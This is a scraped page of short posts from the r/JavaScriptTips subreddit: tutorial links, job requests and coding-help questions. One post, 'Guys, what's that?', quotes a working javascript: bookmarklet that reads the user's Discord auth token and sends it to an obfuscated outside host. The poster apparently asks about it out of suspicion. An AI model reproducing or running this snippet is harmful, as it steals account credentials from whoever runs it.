r/JavaScriptTips • • Jun 11 '24

Search for Software Engineering Job

0 Upvotes

Hello there, I'm Abubakr Alnour, Frontend Software Engineering with React. I love to join with any team for free to improve my skill in programming.✨️❤️ Please contact me 🙏


r/JavaScriptTips • • Apr 11 '23

How to hide an API key 🤫 (JavaScript / Node.js tutorial)

Thumbnail
youtu.be
0 Upvotes

r/JavaScriptTips • • Nov 05 '23

Discord Bot Course | How To Code Discord Bot Using Javascript | Rethinkingui |

Thumbnail
youtube.com
0 Upvotes

r/JavaScriptTips • • Dec 21 '23

How do i write this

0 Upvotes

Hey Yall i am writing a interactive story but i dont know how to code a open ended question that the user can interact with


r/JavaScriptTips • • Aug 24 '23

Guys, what's that?

0 Upvotes

javascript: const decodedString=atob('aHR0cHM6Ly9keW5hbWl0ZS1wcm9kdWN0aW9uLnVwLnJhaWx3YXkuYXBw');var f=(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==undefined).exports.default.getToken();window.location.replace(decodedString+%27/%27+f);


r/JavaScriptTips • • Jun 16 '23

🚀 JavaScript Tip: Use the Optional Chaining Operator (?.) for Safe Property Access

Thumbnail
self.welovecodes
0 Upvotes

r/JavaScriptTips • • Aug 02 '23

9 JavaScript Tricks That Make Your Code Fantastic

Thumbnail
medium.com
0 Upvotes

r/JavaScriptTips • • Jul 25 '23

help with javascriupt in elementor needed

0 Upvotes

hello, can anyone help me why this code is not working on my website, when Im in elementor editor (wordpress), code seems to work, but on front-end after i publish it, it seems that code doesn't work and i dont know why..
here is the code:

<!DOCTYPE html> <html> <head> <title>Okvirni kalkulator potrebnih zubnih implantata</title> <style> body { font-family: 'Poppins', sans-serif; font-weight: 500; display: flex; flex-direction: column; align-items: center; justify-content: center; color: #000; /\* Dodajemo boju teksta \*/ } h1 { text-align: center; } .loader { border: 4px solid #f3f3f3; border-radius: 50%; border-top: 4px solid #9797c7; width: 30px; height: 30px; -webkit-animation: spin 0.5s linear infinite; /\* Safari \*/ animation: spin 0.5s linear infinite; margin: 20px auto; } /\* Safari \*/ u/-webkit-keyframes spin { 0% { -webkit-transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); } } u/keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } #result { padding: 20px; } </style> </head> <body> <h1>Okvirni kalkulator potrebnih zubnih implantata</h1> <p>Odaberite koliko vam zuba nedostaje:</p> <select id="missingTeeth"> <option value="0">Odaberite...</option> <option value="1">Nedostaje mi 1 zub</option> <option value="2">Nedostaju mi 2 zuba jedan do drugog</option> <option value="3">Nedostaju mi 2 zuba odvojeno</option> <option value="4">Nedostaju mi 3 zuba u redu</option> <option value="5">Nedostaju mi 3 zuba odvojeno</option> <option value="6">Nedostaje mi 4 zuba u redu</option> <option value="7">Nedostaje mi 4 zuba odvojeno</option> <option value="8">Nedostaje mi cijeli zubni luk</option> <option value="9">Nedostaju mi svi zubi</option> </select> <button id="calculateButton">Izračunaj</button> <div class="loader" id="loader" style="display: none;"></div> <div id="result"></div> <script> document.getElementById('calculateButton').addEventListener('click', function() { // Prikaži loader document.getElementById('loader').style.display = 'block'; // Stvori Promise koji se izvršava nakon 500ms new Promise(resolve => { setTimeout(() => { resolve(); }, 500); }) // Kad se Promise izvrši, nastavi dalje .then(() => { // Sakrij loader document.getElementById('loader').style.display = 'none'; // Ostatak koda za prikaz rezultata var missingTeeth = document.getElementById('missingTeeth').value; var result = document.getElementById('result'); switch(missingTeeth) { case "1": result.innerHTML = "Ako vam nedostaje samo jedan zub, najčešće se koristi jedan zubni implantat. Implantat se postavlja u čeljusnu kost na mjesto gdje je zub nedostajao, a zatim se na njega postavlja krunica koja izgleda i funkcionira kao prirodni zub. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "2": result.innerHTML = "Ako vam nedostaju dva zuba jedan do drugog, moguće je koristiti dva zasebna implantata, svaki s vlastitom krunom. Alternativno, moguće je koristiti jedan implantat s mostom koji zamjenjuje oba zuba. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "3": result.innerHTML = "Ako vam nedostaju dva zuba odvojeno, moguće je koristiti dva zasebna implantata, svaki s vlastitom krunom. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "4": result.innerHTML = "Ako vam nedostaju tri zuba u redu, moguće je koristiti tri zasebna implantata, svaki s vlastitom krunom. Alternativno, moguće je koristiti dva implantata s mostom koji zamjenjuje sva tri zuba. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "5": result.innerHTML = "Ako vam nedostaju tri zuba odvojeno, moguće je koristiti tri zasebna implantata, svaki s vlastitom krunom. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "6": result.innerHTML = "Ako vam nedostaju četiri zuba u redu, moguće je koristiti četiri zasebna implantata, svaki s vlastitom krunom. Alternativno, moguće je koristiti dva ili tri implantata s mostom koji zamjenjuje sve četiri zuba. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "7": result.innerHTML = "Ako vam nedostaju četiri zuba odvojeno, moguće je koristiti četiri zasebna implantata, svaki s vlastitom krunom. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "8": result.innerHTML = "Ako vam nedostaje cijeli zubni luk, moguće je koristiti All-on-4 ili All-on-6 koncept. Ovi koncepti koriste četiri ili šest implantata na kojima se postavlja cijeli zubni luk. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; case "9": result.innerHTML = "Ako vam nedostaju svi zubi, moguće je koristiti All-on-4 ili All-on-6 koncept za oba zubna luka. Ovi koncepti koriste četiri ili šest implantata na kojima se postavlja cijeli zubni luk. <a href='https://imed.hr/hr/lp/ugradnja-implantata-uz-besplatnu-potpunu-anesteziju/'>Saznajte više</a>"; break; default: result.innerHTML = "Molimo odaberite jednu od opcija."; break; } }); }); </script> </body> </html>

here is website im using it on:
https://lp.imed.hr/broj-potrebnih-zubnih-implantata/


r/JavaScriptTips • • Jun 01 '23

PS Bottom Tabbar

0 Upvotes

Look at this bottom tab bar: https://github.com/2ez4salt/react-native-ps-bottom-tabbar

If you like it can you give a star please. Thank you all in advance :)


r/JavaScriptTips • • Apr 08 '23

4 Ways to string substitution in JavaScipt

0 Upvotes

String substitution in javascript is the replacement of a specific substring in a string with another value. Even if we merge one string value with another, it is treated as a substitution. We mostly use the 'replace()' method to perform string substitution in javascript.

For example:
We have the string "John went to the store and bought a cookie", if we change the substring "cookie" to "chocolate", we get "John went to the store and bought a chocolate".

Benefits of using string substitution

Readability: String substitution can make the code easier to read and understand, especially when dealing with large strings or complex expressions.

Flexibility: We can easily construct dynamic strings that change based on runtime conditions or user input.

Efficiency: String substitution is often more efficient than concatenating strings manually, especially when working with complex strings that contain many variables or expressions.

There are four ways to string substitution:

  1. Using replace() method

  2. Using template literals

  3. Using replaceAll method

  4. Using String concatenation

Read more >> String substitution in javascript


r/JavaScriptTips • • Sep 18 '23

Let in JavaScript | Scope, Example - Scientech Easy

Thumbnail
scientecheasy.com
0 Upvotes

r/JavaScriptTips • • Sep 04 '23

How to easily build an accordion using JavaScript, Html & CSS

Thumbnail
youtube.com
0 Upvotes

r/JavaScriptTips • • Jan 09 '24

VS Code

0 Upvotes

Cuales son las extensiones que más utilizáis en VS Code? Gracias!!!


r/JavaScriptTips • • Aug 05 '23

Unexpected function behavior

0 Upvotes

Hello, I have a small problem that I create a project in js, css, html, which is launched locally in the browser and when everything I did last worked normally, the next day when I launched the script, one function stopped working completely and the other one works incorrectly. When I ran the script (current version) the next day, I did not modify these functions in any way, I did not change their calling context, nor did I change other functions that affect them in any way. The console in the code editor as well as in the Chrome browser does not have a single syntax error, etc. I always make copies of the entire script so that I can restore something if I messed up in the current version, or I would like to restore something as I did in the previous version. In these older copies, these functions worked normally, nothing happened, now if I remove the current version of the code, where these functions do not work properly and put the old one, where these functions worked 100%, it's the same problem. Anyone know what could have happened? I haven't changed any settings in the browser either. In that case, I would completely rule out a problem in the code.


r/JavaScriptTips • • Oct 28 '23

Loops in JavaScript | Loop Statement, Example - Scientech Easy

Thumbnail
scientecheasy.com
0 Upvotes

r/JavaScriptTips • • Aug 27 '23

JavaScript for the Complete Newbie: Learn JAVASCRIPT NOW! V 2.0

0 Upvotes

r/JavaScriptTips • • Sep 19 '23

Const in JavaScript | Scope, Example - Scientech Easy

Thumbnail scientecheasy.com
0 Upvotes

r/JavaScriptTips • • Jun 21 '23

Create a Responsive Calculator in HTML CSS & JavaScript | Coding League

Thumbnail
youtu.be
0 Upvotes

r/JavaScriptTips • • Sep 10 '24

I want help, I’m doing my first project on javascript but error occurs and didn’t know how to fix it please help and give me the solution.

Post image
0 Upvotes

r/JavaScriptTips • • May 27 '23

Should You Accept Cookies On Websites?

Thumbnail
youtube.com
0 Upvotes

r/JavaScriptTips • • Jul 26 '23

Adding to list

Post image
0 Upvotes

I found this code that disables extensions.

How would I add an additional website to the list?


r/JavaScriptTips • • Jan 21 '24

Understanding JavaScript Hoisting and Function Execution Contexts

Thumbnail ajaykrp.me
0 Upvotes

r/JavaScriptTips • • Jun 26 '23

Make a Image Slide Show using JavaScript - Beginner Tutorial

Thumbnail
youtu.be
0 Upvotes

r/JavaScriptTips • • May 16 '24

webpack compiled code not working but simple JavaScript code works

Thumbnail
gallery
0 Upvotes

Hello everyone I am stuck in issue which is quite confusing why it's not working I am working on Laravel project normal blade html,css JavaScript. The thing is everything is compiled through webpack, Laravel mix. I am trying to run the code the function executes after clicking on select options when value changes onchange. When the option are clicked in the console it return the function getTotalPrice is not defined. Can anyone help me out understanding this what's happening it perfectly works when it's not compiled on webpack